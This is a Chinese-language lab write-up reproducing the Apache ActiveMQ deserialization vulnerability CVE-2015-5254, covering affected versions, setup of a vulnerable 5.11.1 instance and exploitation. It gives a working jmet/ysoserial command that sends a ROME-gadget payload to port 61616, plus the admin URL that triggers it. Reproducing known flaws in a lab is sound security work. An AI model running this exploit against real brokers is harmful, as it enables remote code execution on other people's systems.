Apache ActiveMQ序列化漏洞(CVE-2015-5254)復現
一、漏洞描述
該漏洞源於程序沒有限制可在代理中序列化的類。遠程攻擊者可借助特制的序列化的java消息服務(JMS)ObjectMessage對象利用該漏洞執行任意代碼。
二、漏洞影響版本
Apache ActiveMQ 5.13.0之前的版本
三、漏洞環境搭建
1、官網下載ActiveMQ 5.11.1版本下載地址:http://activemq.apache.org/download-archives.html
2、解壓
3、啟動,進入bin目錄下,運行./activemq start
查看是否啟動成功,./activemq status
4、瀏覽器訪問http://192.168.10.149:8161/,如下圖可以看到成功搭建環境
四、漏洞復現
1、 漏洞利用過程如下:
a.構成(使用ysoserial)可執行命令的序列化對象
b.作為一個消息,發送給目標的61616端口
c.訪問web管理頁面,讀取消息,觸發漏洞
2、下載jmet的jar文件,下載地址為: https://github.com/matthiaskaiser/jmet,復制到kali的/opt目錄下,並在當前目錄下創建一個external文件夾。Jmet原理是使用ysoserial生成payload並發送(其jar內自帶ysoserial,無需再自己下載),所以我們需要在ysoserial是gadget中選擇一個可以使用的,比如ROME。
3、執行如下命令
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/sucess" -Yp ROME 192.168.10.149 61616
4、此時會給目標的ActiveMQ添加一個名為事件的隊列,通過訪問http://192.168.10.149:8161/admin/browse.jsp?JMSDestination=event看到這個隊列中所有的消息
5、點擊查看這條消息即可觸發命令執行
6、此刻查看/tmp/,已經成功創建,說明漏洞利用成功